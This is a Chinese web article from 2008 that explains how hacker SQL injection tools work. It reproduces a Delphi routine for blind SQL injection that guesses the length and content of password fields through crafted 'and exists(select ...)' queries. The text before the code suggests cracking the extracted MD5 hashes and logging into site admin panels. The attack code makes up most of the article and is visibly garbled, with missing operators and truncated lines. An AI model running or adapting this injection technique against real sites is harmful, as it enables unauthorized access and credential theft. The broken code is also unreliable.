当前位置: 代码网 > 服务器>网络安全>企业安全 > 黑客的脚本漏洞工具分析(图)

黑客的脚本漏洞工具分析(图)

2008年10月08日 企业安全 我要评论
黑客的脚本漏洞工具分析(图) 上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对... 08-10-08



上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码pj工具进行pj的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:
procedure tmainform.guesscontproc(listint: integer); { sql注入 - 多线程猜解字段内容 }
function sqltextfunc(url, topstr, tablename, fieldname, levelstr: string; len: integer): string;
begin
result := url ’ and exists(select * from ’ tablename ’ where len(’ fieldname ’)’ levelstr inttostr(len) ’ and id=(select max(id) from ’ tablename ’ where id in (select top ’ topstr ’ id from ’ tablename ’ order by id)))’
end;
var
tablename: string;
fieldname, s: string;
contentint: integer;
i, len, lengthint, n: integer;
gridcount: integer;
colu: tcolumn;
flagbool: boolean;
begin
len := 0;
lengthint := 0;
flagbool := true;
tablename := tablenamelst.items[tablenamelst.itemindex];
fieldname := memo2.lines[listint];
if (lowercase(fieldname) = ’password’) or (lowercase(fieldname) = ’pass’) or
(lowercase(fieldname) = ’admin_pass’) or (fieldname = ’密码’) or
(lowercase(fieldname) = ’userpassword’) or (lowercase(fieldname) = ’passwd’) then
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, 16), 800);
if contentint >= and1num then
begin
sqlresultmemo.lines.add(fieldname ’长度: 16’);
lengthint := 16
end
else
begin
while (len
begin
application.processmessages;
inc(len, 2);
pane1.caption := ’正在检测长度:len(’ fieldname ’)=’ inttostr(len);
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’
if contentint >= and1num then
begin
for n := len - 1 to len do
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, n), 800);
if contentint >= and1num then
begin
lengthint := n;
sqlresultmemo.lines.add(fieldname ’长度: ’ inttostr(n));
flagbool := false;
break;
end; // if
end; // for
end; // if
end; // while
end;
end
else
begin
while (len
begin
application.processmessages;
inc(len, 2);
pane1.caption := ’正在检测长度:len(’ fieldname ’)=’ inttostr(len);
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’
if contentint >= and1num then
begin
for n := len - 1 to len do
begin
contentint := get_httpsize(sqltextfunc(sql_edurl.text, sqledtop.text, tablename, fieldname, ’=’, n), 800);
if contentint >= and1num then
begin
lengthint := n;
sqlresultmemo.lines.add(fieldname ’长度: ’ inttostr(n));
flagbool := false;
break;
end; // if
end; // for
end; // if
end; // while
end;
guesslsv.clear;
if len >= 50 then
begin
sql_edurl.enabled := true;
sql_guesstable.enabled := true;
tablenamelst.enabled := true;
fieldnamelst.enabled := true;
application.messagebox(’列名长度大于50,猜解失败!’, ’提示’, 32);
exit;
end;
pane1.caption := ’正在检测’ fieldname ’的内容...’;
guesslsv.update;
if lengthint = 5 then
begin
contentint := get_httpsize(sql_edurl.text ’ and exists (select top ’ sqledtop.text ’ ’ fieldname ’ from ’ tablename ’ where instr(’ fieldname ’,’’admin’’)=1 and len(username)=5)’);
if contentint >= and1num then
begin
s := ’admin’;
for i := 1 to 5 do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(s);
end;
sleep(60);
guesslsv.update;
end;
inc(sql_scancontent_threadcreatecount);
stringgrid1.cells[sql_scancontent_threadcreatecount - 1, 1] := ’admin’;
stringgrid1.cells[sql_scancontent_threadcreatecount, 1] := ’检测中...’;
sqlresultmemo.lines.add(fieldnamelst.items[fieldnamelst.itemindex] ’内容:admin’);
if sql_scancontent_threadcreatecount
guesscontproc(sql_scancontent_threadcreatecount - 1);
exit;
end
else
begin
for i := 1 to lengthint do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(’检测中’);
end;
sleep(30);
end;
end;
end
else
begin
for i := 1 to lengthint do
begin
application.processmessages;
with guesslsv.items.add do
begin
caption := ’第’ inttostr(i) ’位’;
subitems.add(’检测中’);
end;
sleep(30);
end;
end;
从上面的代码中,我们可以看出,黑客软件只是代替了手工操作,通过多线程更进一步提高了猜解的速度,但猜解的表和字段还得我们自己设定,然后通过post提交我们设定的格式(其中url中的 是空格的意思,因为在网址后面执行相应的sql语句时都要有相应的空格),按照我们设定的表和字段猜解出相应的用户名和密码内容。

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com